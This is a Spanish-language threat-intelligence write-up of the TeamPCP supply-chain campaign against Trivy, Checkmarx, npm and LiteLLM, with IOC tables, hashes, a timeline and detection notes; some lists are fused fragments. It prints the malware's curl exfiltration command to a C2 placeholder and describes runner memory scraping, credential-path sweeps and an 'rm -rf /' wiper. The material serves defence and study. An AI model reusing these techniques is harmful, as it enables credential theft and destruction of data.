
CVE-2026-33634 (CVSS 9.4) — El ataque a la cadena de suministro de CI/CD más impactante de 2026 hasta ahora.
CVE-2026-33634 (CVSS 9.4) — El ataque a la cadena de suministro CI/CD más impactante de 2026 hasta ahora.
Entre el 19 y el 25 de marzo de 2026, el actor de amenazas TeamPCP (también rastreado como DeadCatx3, PCPcat, ShellForce, CanisterWorm) ejecutó un compromiso en cascada de la cadena de suministro en cinco ecosistemas: GitHub Actions, Docker Hub, OpenVSX, npm y PyPI. Partiendo de un único PAT de GitHub rotado de forma incompleta, la campaña se propagó a dos importantes proveedores de seguridad de código abierto (Aqua Security y Checkmarx), cuatro repositorios de GitHub Actions, dos extensiones de VS Code, registros de contenedores y más de 66 paquetes npm.
Este repositorio proporciona un desglose técnico completo, listas de IOC seleccionadas (probadas contra falsos positivos) y consultas de detección listas para implementar en Microsoft Defender XDR.
Causa raíz: rotación incompleta de credenciales tras la brecha del 28 de febrero. El PAT de la cuenta de servicio aqua-bot no fue revocado o el atacante observó el nuevo token durante la rotación.
TeamPCP utilizó este acceso retenido para hacer force-push de etiquetas de versión a commits impostores maliciosos. Cada commit falsificado clonaba los metadatos del original (autor, marca de tiempo, mensaje) mientras reemplazaba el script de punto de entrada por el payload del ladrón. La página de lanzamiento de GitHub no mostraba ningún cambio visible: incluso la insignia "Immutable" se mostraba con normalidad.
El ladrón — un entrypoint.sh de 204 líneas que se autodenomina "TeamPCP Cloud stealer" — ejecuta un ataque en tres etapas:
Etapa 1: Raspado de memoria
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
Etapa 2: Barrido de credenciales en el sistema de archivos
Escanea más de 50 rutas sensibles, incluyendo:
~/.ssh/*)~/.npmrc).envEtapa 3: Exfiltración cifrada
tpcp.tar.gzcurl POST a dominios typosquat específicos del proveedortpcp-docs o docs-tpcp en la cuenta de GitHub de la víctima usando el GITHUB_TOKEN robadoEn sistemas Linux que no son de CI, el malware:
~/.config/sysmon/sysmon.py)Las credenciales robadas en la ola Trivy permitieron comprometer el ecosistema de Checkmarx. Cada nueva ola utilizó un dominio C2 typosquat diferente para evadir las listas de bloqueo de la ola anterior:
| Ola | Dominio C2 | Typosquat de |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Extensión | Versión maliciosa | Versión segura |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Ambas extensiones se publicaron con 12 segundos de diferencia a las 12:53 UTC del 23 de marzo mediante la cuenta ast-phoenix. Al activarse, environmentAuthChecker.js busca credenciales de proveedores de nube y luego descarga un ladrón de segunda etapa desde checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Imagen | Etiquetas maliciosas |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Paquete | Versiones | Archivo con puerta trasera |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Payload base64 de triple anidamiento con kit de movimiento lateral en K8s. Persistencia mediante sysmon.service que consulta checkmarx.zone/raw.
El patrón de exfiltración es idéntico en todas las olas:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
La estrategia de dominio typosquat es deliberada: un analista que revisa los registros de CI/CD ve tráfico curl hacia lo que parece el propio dominio del proveedor de la acción. Sin una comparación cuidadosa, scan.aquasecurtiy.org pasa por aquasecurity.org en una revisión rápida de registros.
Solo el atacante puede descifrar los datos robados: la clave de sesión AES está cifrada con RSA-OAEP usando su clave pública.
En las 24 horas posteriores al compromiso de Trivy, los tokens npm robados permitieron un gusano autopropagante en más de 66 paquetes (141 artefactos maliciosos).
Qué hace notable a CanisterWorm:
tdtqy-oyaaa-aaaae-af2dq-cai es un contrato inteligente descentralizado: no existe un único punto de derriboget_latest_link, http_request, update_linkyoutube.com, la puerta trasera se duermepgmon (monitoreo de PostgreSQL)/tmp/pglog, estado rastreado en /tmp/.pg_stateÁmbitos comprometidos conocidos: @emilgroup/*, @teale.io/* (variante autopropagante en @teale.io/eslint-config v1.8.11, v1.8.12)
Una variante destructiva ataca específicamente sistemas iraníes:
kamikazerm -rf / --no-preserve-root con sudoLa detección se realiza mediante comprobaciones de zona horaria y configuración regional del sistema.
Nombre de la regla: TeamPCP Supply Chain C2 and Malware IOC Match
Gravedad: Alta
Categoría: CommandAndControl
Frecuencia: Cada 1 hora
Consulta detection/defender_xdr_query.kql para ver la consulta KQL completa.
La consulta cubre:
Se proporciona un CSV listo para importar en iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Este archivo ha sido probado contra falsos positivos en un entorno empresarial de producción.
| Plataforma | Detección |
|---|---|
| Palo Alto Cortex XDR | Regla ioc.linux.shaihulud.2 — acceso a credenciales en runners de GitHub Action |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, , |
| URL | Función |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | Descarga de payload de segunda etapa |
| Nombre | Ola |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
Las consultas de detección y el CSV de IOC de este repositorio se han probado en un entorno de producción que ejecuta:
Los siguientes IOCs fueron eliminados debido a falsos positivos confirmados:
MIT: úsalo, compártelo y adáptalo libremente. Se agradece la atribución.
Autor: Ugur Can Ates — Líder de equipo SOC y ingeniero sénior de seguridad
Última actualización: 25 de marzo de 2026
| Fecha (UTC) | Evento |
|---|
| 20 feb 2026 | Cuenta hackerbot-claw creada; comienza a escanear repositorios en busca de flujos de trabajo pull_request_target explotables |
| 28 feb 2026 | Primer compromiso de Trivy mediante solicitud PWN; credenciales exfiltradas |
| 1 mar 2026 | Aqua Security intenta la contención: rotación de credenciales incompleta |
| 19 mar, 17:43 | Golpe principal: TeamPCP hace force-push de 75/76 etiquetas en aquasecurity/trivy-action + las 7 etiquetas en setup-trivy mediante la cuenta de servicio aqua-bot comprometida |
| 19 mar, 18:22 | Trivy v0.69.4 con puerta trasera publicado en GitHub Releases, Docker Hub, GHCR, ECR |
| 20 mar, 05:40 | La ventana de compromiso de Trivy-action se cierra (~12 horas) |
| 20 mar, 20:45 | CanisterWorm detectado propagándose por npm: más de 47 paquetes comprometidos |
| 22 mar, 20:31 | TeamPCP desfigura los 44 repositorios de la organización de GitHub aquasec-com en una ráfaga programada de 2 minutos |
| 22 mar | Imágenes de Docker Hub 0.69.5 y 0.69.6 publicadas con el mismo payload del ladrón |
| 23 mar, 02:53 | Comienza la ola Checkmarx: ast-results v2.53.0 y cx-dev-assist v1.7.0 maliciosos publicados en OpenVSX mediante la cuenta ast-phoenix |
| 23 mar, 12:58 | Las 35 etiquetas de Checkmarx/kics-github-action reciben force-push mediante la cuenta cx-plugins-releases comprometida |
| 23 mar, 15:41 | Checkmarx informa que el problema de OpenVSX está resuelto |
| 23 mar, 16:50 | KICS GitHub Action retirada tras un informe de usuario |
| 23 mar, 22:25 | Sysdig informa que Checkmarx/ast-github-action v2.3.28 también está comprometida |
| 24 mar, 08:30 | Ola LiteLLM: litellm v1.82.7 y v1.82.8 troyanizados publicados en PyPI con credenciales robadas |
| 24 mar, 11:25 | PyPI pone en cuarentena las versiones maliciosas de LiteLLM |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Repositorio | Etiquetas comprometidas | Ventana de exposición (UTC) | Punto de entrada |
|---|
aquasecurity/trivy-action | 75 de 76 (segura: 0.35.0) | Mar 19 17:43 – Mar 20 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | Las 7 etiquetas | Mar 19 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | Las 35 etiquetas | Mar 23 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (probablemente todas) | Mar 23 ~22:25+ | setup.sh |
Curl Exfiltrating FileExfiltration of AWS IMDS Credentials Using LOTL Binary| Hash | Descripción | Fuente |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | entrypoint.sh malicioso de Trivy | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm Ola 4 — forma final | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm Ola 3 — prueba autopropagante | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm Ola 2 — puerta trasera ICP armada | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm Ola 1 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm Ola 2 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm Ola 3+ — deploy.js minificado | Aikido Security |
| Indicador | Tipo | Propósito |
|---|
83.142.209.11 | IP | Servidor C2 (checkmarx.zone) |
45.148.10.212 | IP | Servidor C2 (scan.aquasecurtiy.org) |
checkmarx[.]zone | Dominio | C2 — ola Checkmarx/KICS/LiteLLM |
scan.aquasecurtiy[.]org | Dominio | C2 — ola Trivy |
models.litellm[.]cloud | Dominio | C2 — ola LiteLLM PyPI |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | Dominio | Canister ICP C2 de entrega pasiva (dead-drop) |
checkmarx[.]zone/vsx| Punto de exfiltración |
checkmarx[.]zone/raw | Consulta de persistencia (50 min) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | Canister ICP C2 |
| Ruta | Propósito |
|---|
~/.config/sysmon/ | Directorio de la puerta trasera |
~/.config/sysmon.py | Puerta trasera en Python |
~/.config/systemd/user/sysmon.service | Persistencia en systemd |
~/.config/systemd/user/pgmon.service | Persistencia de CanisterWorm (suplantación de PostgreSQL) |
/tmp/pglog | Binario descargado |
/tmp/.pg_state | Estado de consulta al C2 |
| IOC | Fuente de FP |
|---|
setup.sh (nombre de archivo) | Colecciones de Ansible, caché de plugins de Claude Code, scripts de Bitnami |
service.py (nombre de archivo) | module_utils de Ansible, protobuf, boto3, FreeIPA, núcleo de K8s |
deploy.js (nombre de archivo) | Archivo estándar de npm/node |
169.254.169.254 (IP de IMDS) | Agente FortiMonitor, Oracle AHF: monitoreo legítimo |
icp0.io (dominio principal) | Demasiado amplio, captura tráfico ICP legítimo |
hooks.slack.com (línea de comandos) | Integraciones legítimas de Slack |
discord.com/api/webhooks (línea de comandos) | Integraciones legítimas de Discord |
| Técnica | ID | Contexto |
|---|
| Compromiso de la cadena de suministro: Dependencias de software | T1195.002 | Envenenamiento de etiquetas en GitHub Actions, OpenVSX, npm, PyPI |
| Credenciales no seguras: API de metadatos de instancia en la nube | T1552.005 | Robo de AWS IMDS desde runners de CI |
| Credenciales de almacenes de contraseñas | T1555 | Barrido de credenciales en el sistema de archivos (más de 50 rutas) |
| Volcado de credenciales del sistema operativo | T1003 | Raspado de /proc/mem de Runner.Worker |
| Exfiltración a través del canal C2 | T1041 | tpcp.tar.gz cifrado hacia dominios typosquat |
| Servicio web | T1102 | Canister ICP C2 de entrega pasiva (dead-drop) |
| Servicio systemd | T1543.002 | Persistencia mediante pgmon.service, sysmon.service |
| Transferencia de herramientas entrantes | T1105 | Descarga de checkmarx-util-1.0.4.tgz |
| Adquirir infraestructura: Dominios | T1583.001 | Dominios typosquat por ola |
| Fuente | Enlace |
|---|